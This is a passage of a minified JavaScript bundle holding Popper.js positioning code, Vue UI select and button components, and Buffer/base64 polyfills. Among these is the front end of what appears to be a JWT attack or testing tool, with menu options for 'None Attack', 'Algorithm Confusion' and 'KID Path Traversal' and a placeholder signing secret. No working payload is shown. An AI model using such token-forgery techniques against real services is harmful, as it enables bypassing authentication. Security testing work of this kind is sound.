0?!1:s,d=r.boundary,b=r.rootBoundary,p=r.altBoundary,m=r.padding,E=r.tether,I=E===void 0?!0:E,B=r.tetherOffset,C=B===void 0?0:B,F=Fa(t,{boundary:d,rootBoundary:b,padding:m,altBoundary:p}),z=Ht(t.placement),D=nn(t.placement),R=!D,N=Da(z),$=Fc(N),L=t.modifiersData.popperOffsets,K=t.rects.reference,j=t.rects.popper,H=typeof C=="function"?C(Object.assign({},t.rects,{placement:t.placement})):C,U=typeof H=="number"?{mainAxis:H,altAxis:H}:Object.assign({mainAxis:0,altAxis:0},H),x=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,f={x:0,y:0};if(L){if(a){var h,g=N==="y"?ht:pt,y=N==="y"?$t:Tt,M=N==="y"?"height":"width",A=L[N],k=A+F[g],_=A-F[y],u=I?-j[M]/2:0,S=D===rn?K[M]:j[M],V=D===rn?-j[M]:-K[M],W=t.elements.arrow,J=I&&W?Na(W):{width:0,height:0},X=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:js(),ie=X[g],fe=X[y],Be=kn(0,K[M],J[M]),le=R?K[M]/2-u-Be-ie-U.mainAxis:S-Be-ie-U.mainAxis,ge=R?-K[M]/2+u+Be+fe+U.mainAxis:V+Be+fe+U.mainAxis,pr=t.elements.arrow&&Nn(t.elements.arrow),Me=pr?N==="y"?pr.clientTop||0:pr.clientLeft||0:0,pe=(h=x==null?void 0:x[N])!=null?h:0,Ft=A+le-pe-Me,Ae=A+ge-pe,_e=kn(I?Gn(k,Ft):k,A,I?zr(_,Ae):_);L[N]=_e,f[N]=_e-A}if(o){var nr,Ie=N==="x"?ht:pt,Oe=N==="x"?$t:Tt,ut=L[$],be=$==="y"?"height":"width",ue=ut+F[Ie],ir=ut-F[Oe],we=[ht,pt].indexOf(z)!==-1,ce=(nr=x==null?void 0:x[$])!=null?nr:0,Or=we?ue:ut-K[be]-j[be]-ce+U.altAxis,v=we?ut+K[be]+j[be]-ce-U.altAxis:ir,l=I&&we?Lc(Or,ut,v):kn(I?Or:ue,ut,I?v:ir);L[$]=l,f[$]=l-ut}t.modifiersData[n]=f}}const Uc={name:"preventOverflow",enabled:!0,phase:"main",fn:jc,requiresIfExists:["offset"]};var qc=function(t,r){return t=typeof t=="function"?t(Object.assign({},r.rects,{placement:r.placement})):t,Us(typeof t!="number"?t:qs(t,zn))};function Hc(e){var t,r=e.state,n=e.name,i=e.options,a=r.elements.arrow,s=r.modifiersData.popperOffsets,o=Ht(r.placement),d=Da(o),b=[pt,Tt].indexOf(o)>=0,p=b?"height":"width";if(!(!a||!s)){var m=qc(i.padding,r),E=Na(a),I=d==="y"?ht:pt,B=d==="y"?$t:Tt,C=r.rects.reference[p]+r.rects.reference[d]-s[d]-r.rects.popper[p],F=s[d]-r.rects.reference[d],z=Nn(a),D=z?d==="y"?z.clientHeight||0:z.clientWidth||0:0,R=C/2-F/2,N=m[I],$=D-E[p]-m[B],L=D/2-E[p]/2+R,K=kn(N,L,$),j=d;r.modifiersData[n]=(t={},t[j]=K,t.centerOffset=K-L,t)}}function Vc(e){var t=e.state,r=e.options,n=r.element,i=n===void 0?"[data-popper-arrow]":n;i!=null&&(typeof i=="string"&&(i=t.elements.popper.querySelector(i),!i)||Fs(t.elements.popper,i)&&(t.elements.arrow=i))}const Kc={name:"arrow",enabled:!0,phase:"main",fn:Hc,effect:Vc,requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},Wc=yc({defaultModifiers:[...Bc,Dc,Pc,Uc,Vs,Hs,Kc]});function Jc({locked:e=!1,overflowPadding:t=8,offsetDistance:r=8,offsetSkid:n=0,gpuAcceleration:i=!0,adaptive:a=!0,scroll:s=!0,resize:o=!0,arrow:d=!1,placement:b,strategy:p},m){const E=re(null),I=re(null),B=re(null);return Rt(()=>{Ct(C=>{if(!I.value||!E.value&&!(m!=null&&m.value))return;const F=wo(I),z=wo(E);if(!(F instanceof HTMLElement)||!z)return;const D={modifiers:[{name:"flip",enabled:!e},{name:"preventOverflow",options:{padding:t}},{name:"offset",options:{offset:[n,r]}},{name:"computeStyles",options:{adaptive:a,gpuAcceleration:i}},{name:"eventListeners",options:{scroll:s,resize:o}},{name:"arrow",enabled:d}]};b&&(D.placement=b),p&&(D.strategy=p),B.value=Wc(z,F,D),C(B.value.destroy)})}),[E,I,B]}const Ks=(e,t)=>{const r=kt("form-events",void 0),n=kt("form-group",void 0),i=kt("form-inputs",void 0);n&&(e!=null&&e.id&&(n.inputId.value=e==null?void 0:e.id),i&&(i.value[n.name.value]=n.inputId.value));const a=re(!1);function s(p,m){r&&r.emit({type:p,path:m})}function o(){s("blur",n==null?void 0:n.name.value),a.value=!0}function d(){s("change",n==null?void 0:n.name.value)}const b=fs(()=>{(a.value||n!=null&&n.eagerValidation.value)&&s("input",n==null?void 0:n.name.value)},300);return{inputId:q(()=>(e==null?void 0:e.id)??(n==null?void 0:n.inputId.value)),name:q(()=>(e==null?void 0:e.name)??(n==null?void 0:n.name.value)),size:q(()=>{var m;const p=t.size[n==null?void 0:n.size.value]?n==null?void 0:n.size.value:null;return(e==null?void 0:e.size)??p??((m=t==null?void 0:t.default)==null?void 0:m.size)}),color:q(()=>{var p;return(p=n==null?void 0:n.error)!=null&&p.value?"red":e==null?void 0:e.color}),emitFormBlur:o,emitFormInput:b,emitFormChange:d}};function Ws({ui:e,props:t}){const r=Qo();if(hn("ButtonGroupContextConsumer",!0),kt("ButtonGroupContextConsumer",!1))return{size:q(()=>t.size),rounded:q(()=>e.value.rounded)};let i=r.parent,a;for(;i&&!a;){if(i.type.name==="ButtonGroup"){a=kt(`group-${i.uid}`);break}i=i.parent}const s=q(()=>a==null?void 0:a.value.children.indexOf(r));return Rt(()=>{a==null||a.value.register(r)}),ni(()=>{a==null||a.value.unregister(r)}),{size:q(()=>(a==null?void 0:a.value.size)||t.size),rounded:q(()=>!a||s.value===-1?e.value.rounded:a.value.children.length===1?a.value.ui.rounded:s.value===0?a.value.rounded.start:s.value===a.value.children.length-1?a.value.rounded.end:"rounded-none")}}const Lt=dn(nt.ui.strategy,nt.ui.select,jl),Hn=dn(nt.ui.strategy,nt.ui.selectMenu,Ul),Yc=xe({components:{HCombobox:ku,HComboboxButton:Cu,HComboboxOptions:$u,HComboboxOption:Tu,HComboboxInput:Ru,HListbox:Uu,HListboxButton:qu,HListboxOptions:Hu,HListboxOption:Vu,UIcon:Qt,UAvatar:ds},inheritAttrs:!1,props:{modelValue:{type:[String,Number,Object,Array,Boolean],default:""},query:{type:String,default:null},by:{type:String,default:void 0},options:{type:Array,default:()=>[]},id:{type:String,default:null},name:{type:String,default:null},required:{type:Boolean,default:!1},icon:{type:String,default:null},loadingIcon:{type:String,default:()=>Lt.default.loadingIcon},leadingIcon:{type:String,default:null},trailingIcon:{type:String,default:()=>Lt.default.trailingIcon},trailing:{type:Boolean,default:!1},leading:{type:Boolean,default:!1},loading:{type:Boolean,default:!1},selectedIcon:{type:String,default:()=>Hn.default.selectedIcon},disabled:{type:Boolean,default:!1},multiple:{type:Boolean,default:!1},searchable:{type:[Boolean,Function],default:!1},searchablePlaceholder:{type:String,default:"Search..."},searchableLazy:{type:Boolean,default:!1},clearSearchOnClose:{type:Boolean,default:()=>Hn.default.clearSearchOnClose},debounce:{type:Number,default:200},creatable:{type:Boolean,default:!1},showCreateOptionWhen:{type:String,default:()=>Hn.default.showCreateOptionWhen},placeholder:{type:String,default:null},padded:{type:Boolean,default:!0},size:{type:String,default:null,validator(e){return Object.keys(Lt.size).includes(e)}},color:{type:String,default:()=>Lt.default.color,validator(e){return[...nt.ui.colors,...Object.keys(Lt.color)].includes(e)}},variant:{type:String,default:()=>Lt.default.variant,validator(e){return[...Object.keys(Lt.variant),...Object.values(Lt.color).flatMap(t=>Object.keys(t))].includes(e)}},optionAttribute:{type:String,default:"label"},valueAttribute:{type:String,default:null},searchAttributes:{type:Array,default:null},popper:{type:Object,default:()=>({})},selectClass:{type:String,default:null},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})},uiMenu:{type:Object,default:()=>({})}},emits:["update:modelValue","update:query","open","close","change"],setup(e,{emit:t,slots:r}){const{ui:n,attrs:i}=Rn("select",Nr(e,"ui"),Lt,Nr(e,"class")),{ui:a}=Rn("selectMenu",Nr(e,"uiMenu"),Hn),s=q(()=>ns({},e.popper,a.value.popper)),[o,d]=Jc(s.value),{size:b,rounded:p}=Ws({ui:n,props:e}),{emitFormBlur:m,emitFormChange:E,inputId:I,color:B,size:C,name:F}=Ks(e,Lt),z=q(()=>b.value||C.value),D=re(""),R=q({get(){return e.query??D.value},set(u){D.value=u,t("update:query",u)}}),N=q(()=>{if(e.multiple)return Array.isArray(e.modelValue)&&e.modelValue.length?`${e.modelValue.length} selected`:null;if(e.modelValue!==void 0&&e.modelValue!==null)if(e.valueAttribute){const u=e.options.find(S=>S[e.valueAttribute]===e.modelValue);return u?u[e.optionAttribute]:null}else return["string","number"].includes(typeof e.modelValue)?e.modelValue:e.modelValue[e.optionAttribute];return null}),$=q(()=>{var S,V;const u=((V=(S=n.value.color)==null?void 0:S[B.value])==null?void 0:V[e.variant])||n.value.variant[e.variant];return Cn(ct(n.value.base,a.value.select,p.value,n.value.size[z.value],n.value.gap[z.value],e.padded?n.value.padding[z.value]:"p-0",u==null?void 0:u.replaceAll("{color}",B.value),(L.value||r.leading)&&n.value.leading.padding[z.value],(K.value||r.trailing)&&n.value.trailing.padding[z.value]),e.placeholder&&!e.modelValue&&n.value.placeholder,e.selectClass)}),L=q(()=>e.icon&&e.leading||e.icon&&!e.trailing||e.loading&&!e.trailing||e.leadingIcon),K=q(()=>e.icon&&e.trailing||e.loading&&e.trailing||e.trailingIcon),j=q(()=>e.loading?e.loadingIcon:e.leadingIcon||e.icon),H=q(()=>e.loading&&!L.value?e.loadingIcon:e.trailingIcon||e.icon),U=q(()=>ct(n.value.icon.leading.wrapper,n.value.icon.leading.pointer,n.value.icon.leading.padding[z.value])),x=q(()=>ct(n.value.icon.base,B.value&&nt.ui.colors.includes(B.value)&&n.value.icon.color.replaceAll("{color}",B.value),n.value.icon.size[z.value],e.loading&&n.value.icon.loading)),f=q(()=>ct(n.value.icon.trailing.wrapper,n.value.icon.trailing.pointer,n.value.icon.trailing.padding[z.value])),h=q(()=>ct(n.value.icon.base,B.value&&nt.ui.colors.includes(B.value)&&n.value.icon.color.replaceAll("{color}",B.value),n.value.icon.size[z.value],e.loading&&!L.value&&n.value.icon.loading)),g=typeof e.searchable=="function"?fs(e.searchable,e.debounce):void 0,y=Al(async()=>e.searchable&&g?await g(R.value):R.value===""?e.options:e.options.filter(u=>{var S;return((S=e.searchAttributes)!=null&&S.length?e.searchAttributes:[e.optionAttribute]).some(V=>{if(["string","number"].includes(typeof u))return String(u).search(new RegExp(R.value,"i"))!==-1;const W=ls(u,V);return W!=null&&String(W).search(new RegExp(R.value,"i"))!==-1})}),[],{lazy:e.searchableLazy}),M=q(()=>R.value===""||e.showCreateOptionWhen==="empty"&&y.value.length||e.showCreateOptionWhen==="always"&&y.value.find(S=>["string","number"].includes(typeof S)?S===R.value:S[e.optionAttribute]===R.value)?null:["string","number"].includes(typeof e.modelValue)?R.value:{[e.optionAttribute]:R.value});function A(){e.clearSearchOnClose&&(R.value="")}Je(d,u=>{u?t("open"):(A(),t("close"),m())});function k(u){t("update:modelValue",u),t("change",u),E()}function _(u){R.value=u.target.value}return fu(()=>Ml("$GNYrPVUfT2")),{ui:n,uiMenu:a,attrs:i,name:F,inputId:I,popper:s,trigger:o,container:d,label:N,isLeading:L,isTrailing:K,selectClass:$,leadingIconName:j,leadingIconClass:x,leadingWrapperIconClass:U,trailingIconName:H,trailingIconClass:h,trailingWrapperIconClass:f,filteredOptions:y,createOption:M,query:R,onUpdate:k,onQueryChange:_}}}),Xc=["value","required"],Gc=["id","disabled"],Zc={class:"truncate"};function Qc(e,t,r,n,i,a){const s=Qt,o=ol("HComboboxInput"),d=ds;return G(),Qe($r(e.searchable?"HCombobox":"HListbox"),{by:e.by,name:e.name,"model-value":e.modelValue,multiple:e.multiple,disabled:e.disabled,as:"div",class:ae(e.ui.wrapper),"onUpdate:modelValue":e.onUpdate},{default:et(({open:b})=>[e.required?(G(),oe("input",{key:0,value:e.modelValue,required:e.required,class:ae(e.uiMenu.required),tabindex:"-1","aria-hidden":"true"},null,10,Xc)):Ce("",!0),(G(),Qe($r(e.searchable?"HComboboxButton":"HListboxButton"),{ref:"trigger",as:"div",role:"button",class:ae(e.uiMenu.trigger)},{default:et(()=>[at(e.$slots,"default",{open:b,disabled:e.disabled,loading:e.loading},()=>[ne("button",lr({id:e.inputId,class:e.selectClass,disabled:e.disabled,type:"button"},e.attrs),[e.isLeading&&e.leadingIconName||e.$slots.leading?(G(),oe("span",{key:0,class:ae(e.leadingWrapperIconClass)},[at(e.$slots,"leading",{disabled:e.disabled,loading:e.loading},()=>[he(s,{name:e.leadingIconName,class:ae(e.leadingIconClass)},null,8,["name","class"])])],2)):Ce("",!0),at(e.$slots,"label",{},()=>[e.label?(G(),oe("span",{key:0,class:ae(e.uiMenu.label)},dt(e.label),3)):(G(),oe("span",{key:1,class:ae(e.uiMenu.label)},dt(e.placeholder||" "),3))]),e.isTrailing&&e.trailingIconName||e.$slots.trailing?(G(),oe("span",{key:1,class:ae(e.trailingWrapperIconClass)},[at(e.$slots,"trailing",{disabled:e.disabled,loading:e.loading},()=>[he(s,{name:e.trailingIconName,class:ae(e.trailingIconClass),"aria-hidden":"true"},null,8,["name","class"])])],2)):Ce("",!0)],16,Gc)])]),_:2},1032,["class"])),b?(G(),oe("div",{key:1,ref:"container",class:ae([e.uiMenu.container,e.uiMenu.width])},[he(fl,lr({appear:""},e.uiMenu.transition),{default:et(()=>[ne("div",null,[e.popper.arrow?(G(),oe("div",{key:0,"data-popper-arrow":"",class:ae(Object.values(e.uiMenu.arrow))},null,2)):Ce("",!0),(G(),Qe($r(e.searchable?"HComboboxOptions":"HListboxOptions"),{static:"",class:ae([e.uiMenu.base,e.uiMenu.ring,e.uiMenu.rounded,e.uiMenu.shadow,e.uiMenu.background,e.uiMenu.padding,e.uiMenu.height])},{default:et(()=>{var p,m;return[e.searchable?(G(),Qe(o,{key:0,"display-value":()=>e.query,name:"q",placeholder:e.searchablePlaceholder,autofocus:"",autocomplete:"off",class:ae(e.uiMenu.input),onChange:e.onQueryChange},null,8,["display-value","placeholder","class","onChange"])):Ce("",!0),(G(!0),oe(pn,null,sl(e.filteredOptions,(E,I)=>(G(),Qe($r(e.searchable?"HComboboxOption":"HListboxOption"),{key:I,as:"template",value:e.valueAttribute?E[e.valueAttribute]:E,disabled:E.disabled},{default:et(({active:B,selected:C,disabled:F})=>[ne("li",{class:ae([e.uiMenu.option.base,e.uiMenu.option.rounded,e.uiMenu.option.padding,e.uiMenu.option.size,e.uiMenu.option.color,B?e.uiMenu.option.active:e.uiMenu.option.inactive,C&&e.uiMenu.option.selected,F&&e.uiMenu.option.disabled])},[ne("div",{class:ae(e.uiMenu.option.container)},[at(e.$slots,"option",{option:E,active:B,selected:C},()=>[E.icon?(G(),Qe(s,{key:0,name:E.icon,class:ae([e.uiMenu.option.icon.base,B?e.uiMenu.option.icon.active:e.uiMenu.option.icon.inactive,E.iconClass]),"aria-hidden":"true"},null,8,["name","class"])):E.avatar?(G(),Qe(d,lr({key:1,ref_for:!0},{size:e.uiMenu.option.avatar.size,...E.avatar},{class:e.uiMenu.option.avatar.base,"aria-hidden":"true"}),null,16,["class"])):E.chip?(G(),oe("span",{key:2,class:ae(e.uiMenu.option.chip.base),style:ll({background:`#${E.chip}`})},null,6)):Ce("",!0),ne("span",Zc,dt(["string","number"].includes(typeof E)?E:E[e.optionAttribute]),1)])],2),C?(G(),oe("span",{key:0,class:ae([e.uiMenu.option.selectedIcon.wrapper,e.uiMenu.option.selectedIcon.padding])},[he(s,{name:e.selectedIcon,class:ae(e.uiMenu.option.selectedIcon.base),"aria-hidden":"true"},null,8,["name","class"])],2)):Ce("",!0)],2)]),_:2},1032,["value","disabled"]))),128)),e.creatable&&e.createOption?(G(),Qe($r(e.searchable?"HComboboxOption":"HListboxOption"),{key:1,value:e.createOption,as:"template"},{default:et(({active:E,selected:I})=>[ne("li",{class:ae([e.uiMenu.option.base,e.uiMenu.option.rounded,e.uiMenu.option.padding,e.uiMenu.option.size,e.uiMenu.option.color,E?e.uiMenu.option.active:e.uiMenu.option.inactive])},[ne("div",{class:ae(e.uiMenu.option.container)},[at(e.$slots,"option-create",{option:e.createOption,active:E,selected:I},()=>[ne("span",{class:ae(e.uiMenu.option.create)},'Create "'+dt(e.createOption[e.optionAttribute])+'"',3)])],2)],2)]),_:3},8,["value"])):e.searchable&&e.query&&!((p=e.filteredOptions)!=null&&p.length)?(G(),oe("p",{key:2,class:ae(e.uiMenu.option.empty)},[at(e.$slots,"option-empty",{query:e.query},()=>[Jt(' No results for "'+dt(e.query)+'". ',1)])],2)):(m=e.filteredOptions)!=null&&m.length?Ce("",!0):(G(),oe("p",{key:3,class:ae(e.uiMenu.empty)},[at(e.$slots,"empty",{query:e.query},()=>[Jt(" No options. ")])],2))]}),_:3},8,["class"]))])]),_:3},16)],2)):Ce("",!0)]),_:3},8,["by","name","model-value","multiple","disabled","class","onUpdate:modelValue"])}const Dn=Kr(Yc,[["render",Qc]]);var qt=(e=>(e.CUSTOM="Custom",e.NONE_ATTACK="None Attack",e.ALGORITHM_CONFUSION="Algorithm Confusion",e.KID_PATH_TRAVERSAL="KID Path Traversal",e))(qt||{});const _r=()=>is("jwtForm",()=>bn({token:"",attack:qt.CUSTOM,payload:""})),ed={class:"flex w-1/6"},td=xe({__name:"attacks",setup(e){const t=_r().value;return(r,n)=>{const i=Dn;return G(),oe("div",ed,[he(i,{modelValue:Z(t).attack,"onUpdate:modelValue":n[0]||(n[0]=a=>Z(t).attack=a),options:Object.values(Z(qt)),color:"secondary",size:"lg",class:"w-full"},null,8,["modelValue","options"])])}}}),rd=xe({inheritAttrs:!1,props:{...Aa,as:{type:String,default:"button"},type:{type:String,default:"button"},disabled:{type:Boolean,default:null},active:{type:Boolean,default:void 0},exact:{type:Boolean,default:!1},exactQuery:{type:Boolean,default:!1},exactHash:{type:Boolean,default:!1},inactiveClass:{type:String,default:void 0}},setup(e){function t(r,n,{isActive:i,isExactActive:a}){return e.exactQuery&&!yl(r.query,n.query)||e.exactHash&&r.hash!==n.hash?e.inactiveClass:e.exact&&a||!e.exact&&i?e.activeClass:e.inactiveClass}return{resolveLinkClass:t}}}),nd=["href","aria-disabled","role","rel","target","onClick"];function id(e,t,r,n,i,a){const s=vl;return e.to?(G(),Qe(s,lr({key:1},e.$props,{custom:""}),{default:et(({route:o,href:d,target:b,rel:p,navigate:m,isActive:E,isExactActive:I,isExternal:B})=>[ne("a",lr(e.$attrs,{href:e.disabled?void 0:d,"aria-disabled":e.disabled?"true":void 0,role:e.disabled?"link":void 0,rel:p,target:b,class:e.active!==void 0?e.active?e.activeClass:e.inactiveClass:e.resolveLinkClass(o,e._.provides[ul]||e.$route,{isActive:E,isExactActive:I}),onClick:C=>!B&&!e.disabled&&m(C)}),[at(e.$slots,"default",vo(mo({isActive:e.active!==void 0?e.active:e.exact?I:E})))],16,nd)]),_:3},16)):(G(),Qe($r(e.as),lr({key:0,type:e.type,disabled:e.disabled},e.$attrs,{class:e.active?e.activeClass:e.inactiveClass}),{default:et(()=>[at(e.$slots,"default",vo(mo({isActive:e.active})))]),_:3},16,["type","disabled","class"]))}const Js=Kr(rd,[["render",id]]),ar=dn(nt.ui.strategy,nt.ui.button,Fl),ad=xe({components:{UIcon:Qt,ULink:Js},inheritAttrs:!1,props:{...Aa,type:{type:String,default:"button"},block:{type:Boolean,default:!1},label:{type:String,default:null},loading:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},padded:{type:Boolean,default:!0},size:{type:String,default:()=>ar.default.size,validator(e){return Object.keys(ar.size).includes(e)}},color:{type:String,default:()=>ar.default.color,validator(e){return[...nt.ui.colors,...Object.keys(ar.color)].includes(e)}},variant:{type:String,default:()=>ar.default.variant,validator(e){return[...Object.keys(ar.variant),...Object.values(ar.color).flatMap(t=>Object.keys(t))].includes(e)}},icon:{type:String,default:null},loadingIcon:{type:String,default:()=>ar.default.loadingIcon},leadingIcon:{type:String,default:null},trailingIcon:{type:String,default:null},trailing:{type:Boolean,default:!1},leading:{type:Boolean,default:!1},square:{type:Boolean,default:!1},truncate:{type:Boolean,default:!1},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})}},setup(e,{slots:t}){const{ui:r,attrs:n}=Rn("button",Nr(e,"ui"),ar),{size:i,rounded:a}=Ws({ui:r,props:e}),s=q(()=>e.icon&&e.leading||e.icon&&!e.trailing||e.loading&&!e.trailing||e.leadingIcon),o=q(()=>e.icon&&e.trailing||e.loading&&e.trailing||e.trailingIcon),d=q(()=>e.square||!t.default&&!e.label),b=q(()=>{var F,z;const C=((z=(F=r.value.color)==null?void 0:F[e.color])==null?void 0:z[e.variant])||r.value.variant[e.variant];return Cn(ct(r.value.base,r.value.font,a.value,r.value.size[i.value],r.value.gap[i.value],e.padded&&r.value[d.value?"square":"padding"][i.value],C==null?void 0:C.replaceAll("{color}",e.color),e.block?r.value.block:r.value.inline),e.class)}),p=q(()=>e.loading?e.loadingIcon:e.leadingIcon||e.icon),m=q(()=>e.loading&&!s.value?e.loadingIcon:e.trailingIcon||e.icon),E=q(()=>ct(r.value.icon.base,r.value.icon.size[i.value],e.loading&&r.value.icon.loading)),I=q(()=>ct(r.value.icon.base,r.value.icon.size[i.value],e.loading&&!s.value&&r.value.icon.loading)),B=q(()=>Ol(e));return{ui:r,attrs:n,isLeading:s,isTrailing:o,isSquare:d,buttonClass:b,leadingIconName:p,trailingIconName:m,leadingIconClass:E,trailingIconClass:I,linkProps:B}}});function od(e,t,r,n,i,a){const s=Qt,o=Js;return G(),Qe(o,lr({type:e.type,disabled:e.disabled||e.loading,class:e.buttonClass},{...e.linkProps,...e.attrs}),{default:et(()=>[at(e.$slots,"leading",{disabled:e.disabled,loading:e.loading},()=>[e.isLeading&&e.leadingIconName?(G(),Qe(s,{key:0,name:e.leadingIconName,class:ae(e.leadingIconClass),"aria-hidden":"true"},null,8,["name","class"])):Ce("",!0)]),at(e.$slots,"default",{},()=>[e.label?(G(),oe("span",{key:0,class:ae([e.truncate?e.ui.truncate:""])},dt(e.label),3)):Ce("",!0)]),at(e.$slots,"trailing",{disabled:e.disabled,loading:e.loading},()=>[e.isTrailing&&e.trailingIconName?(G(),Qe(s,{key:0,name:e.trailingIconName,class:ae(e.trailingIconClass),"aria-hidden":"true"},null,8,["name","class"])):Ce("",!0)])]),_:3},16,["type","disabled","class"])}const oi=Kr(ad,[["render",od]]),si=()=>is("jwtParts",()=>bn({header:"",payload:"",secret:"secret-to-sign-token"}));var St=(e=>(e.HS256="HS256",e.HS384="HS384",e.HS512="HS512",e.RS256="RS256",e.RS384="RS384",e.RS512="RS512",e.ES256="ES256",e.ES384="ES384",e.ES512="ES512",e.PS256="PS256",e.PS384="PS384",e.PS512="PS512",e))(St||{});const sd={class:"flex justify-center"},fd=xe({__name:"custom",setup(e){const t=si().value,r=re(St.HS256);return Je(r,async()=>{try{const n=JSON.parse(t.header);n.alg=r.value}catch(n){console.error(n)}}),(n,i)=>{const a=Qt,s=oi,o=Dn;return G(),oe("div",sd,[he(o,{modelValue:Z(r),"onUpdate:modelValue":i[0]||(i[0]=d=>Ea(r)?r.value=d:null),options:Object.keys(Z(St)),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select algorithm"},{default:et(({open:d})=>[he(s,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(dt(Z(r))+" ",1),he(a,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[d&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])])}}});var ld=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function ud(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function cd(e){if(e.__esModule)return e;var t=e.default;if(typeof t=="function"){var r=function n(){return this instanceof n?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach(function(n){var i=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,i.get?i:{enumerable:!0,get:function(){return e[n]}})}),r}var fi={},li={};li.byteLength=pd;li.toByteArray=vd;li.fromByteArray=yd;var Ut=[],yt=[],dd=typeof Uint8Array<"u"?Uint8Array:Array,Ji="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(var Yr=0,hd=Ji.length;Yr0)throw new Error("Invalid string. Length must be a multiple of 4");var r=e.indexOf("=");r===-1&&(r=t);var n=r===t?0:4-r%4;return[r,n]}function pd(e){var t=Ys(e),r=t[0],n=t[1];return(r+n)*3/4-n}function bd(e,t,r){return(t+r)*3/4-r}function vd(e){var t,r=Ys(e),n=r[0],i=r[1],a=new dd(bd(e,n,i)),s=0,o=i>0?n-4:n,d;for(d=0;d>16&255,a[s++]=t>>8&255,a[s++]=t&255;return i===2&&(t=yt[e.charCodeAt(d)]<<2|yt[e.charCodeAt(d+1)]>>4,a[s++]=t&255),i===1&&(t=yt[e.charCodeAt(d)]<<10|yt[e.charCodeAt(d+1)]<<4|yt[e.charCodeAt(d+2)]>>2,a[s++]=t>>8&255,a[s++]=t&255),a}function md(e){return Ut[e>>18&63]+Ut[e>>12&63]+Ut[e>>6&63]+Ut[e&63]}function gd(e,t,r){for(var n,i=[],a=t;ao?o:s+a));return n===1?(t=e[r-1],i.push(Ut[t>>2]+Ut[t<<4&63]+"==")):n===2&&(t=(e[r-2]<<8)+e[r-1],i.push(Ut[t>>10]+Ut[t>>4&63]+Ut[t<<2&63]+"=")),i.join("")}var La={};/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh */La.read=function(e,t,r,n,i){var a,s,o=i*8-n-1,d=(1<>1,p=-7,m=r?i-1:0,E=r?-1:1,I=e[t+m];for(m+=E,a=I&(1<<-p)-1,I>>=-p,p+=o;p>0;a=a*256+e[t+m],m+=E,p-=8);for(s=a&(1<<-p)-1,a>>=-p,p+=n;p>0;s=s*256+e[t+m],m+=E,p-=8);if(a===0)a=1-b;else{if(a===d)return s?NaN:(I?-1:1)*(1/0);s=s+Math.pow(2,n),a=a-b}return(I?-1:1)*s*Math.pow(2,a-n)};La.write=function(e,t,r,n,i,a){var s,o,d,b=a*8-i-1,p=(1<>1,E=i===23?Math.pow(2,-24)-Math.pow(2,-77):0,I=n?0:a-1,B=n?1:-1,C=t<0||t===0&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(o=isNaN(t)?1:0,s=p):(s=Math.floor(Math.log(t)/Math.LN2),t*(d=Math.pow(2,-s))<1&&(s--,d*=2),s+m>=1?t+=E/d:t+=E*Math.pow(2,1-m),t*d>=2&&(s++,d/=2),s+m>=p?(o=0,s=p):s+m>=1?(o=(t*d-1)*Math.pow(2,i),s=s+m):(o=t*Math.pow(2,m-1)*Math.pow(2,i),s=0));i>=8;e[r+I]=o&255,I+=B,o/=256,i-=8);for(s=s<0;e[r+I]=s&255,I+=B,s/=256,b-=8);e[r+I-B]|=C*128};/*! * The buffer module from node.js, for the browser. * * @author Feross Aboukhadijeh * @license MIT - */(function(e){const t=li,r=La,n=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;e.Buffer=s,e.SlowBuffer=D,e.INSPECT_MAX_BYTES=50;const i=2147483647;e.kMaxLength=i,s.TYPED_ARRAY_SUPPORT=a(),!s.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function a(){try{const v=new Uint8Array(1),l={foo:function(){return 42}};return Object.setPrototypeOf(l,Uint8Array.prototype),Object.setPrototypeOf(v,l),v.foo()===42}catch{return!1}}Object.defineProperty(s.prototype,"parent",{enumerable:!0,get:function(){if(s.isBuffer(this))return this.buffer}}),Object.defineProperty(s.prototype,"offset",{enumerable:!0,get:function(){if(s.isBuffer(this))return this.byteOffset}});function o(v){if(v>i)throw new RangeError('The value "'+v+'" is invalid for option "size"');const l=new Uint8Array(v);return Object.setPrototypeOf(l,s.prototype),l}function s(v,l,d){if(typeof v=="number"){if(typeof l=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return m(v)}return c(v,l,d)}s.poolSize=8192;function c(v,l,d){if(typeof v=="string")return E(v,l);if(ArrayBuffer.isView(v))return B(v);if(v==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof v);if(ue(v,ArrayBuffer)||v&&ue(v.buffer,ArrayBuffer)||typeof SharedArrayBuffer<"u"&&(ue(v,SharedArrayBuffer)||v&&ue(v.buffer,SharedArrayBuffer)))return C(v,l,d);if(typeof v=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');const w=v.valueOf&&v.valueOf();if(w!=null&&w!==v)return s.from(w,l,d);const O=F(v);if(O)return O;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof v[Symbol.toPrimitive]=="function")return s.from(v[Symbol.toPrimitive]("string"),l,d);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof 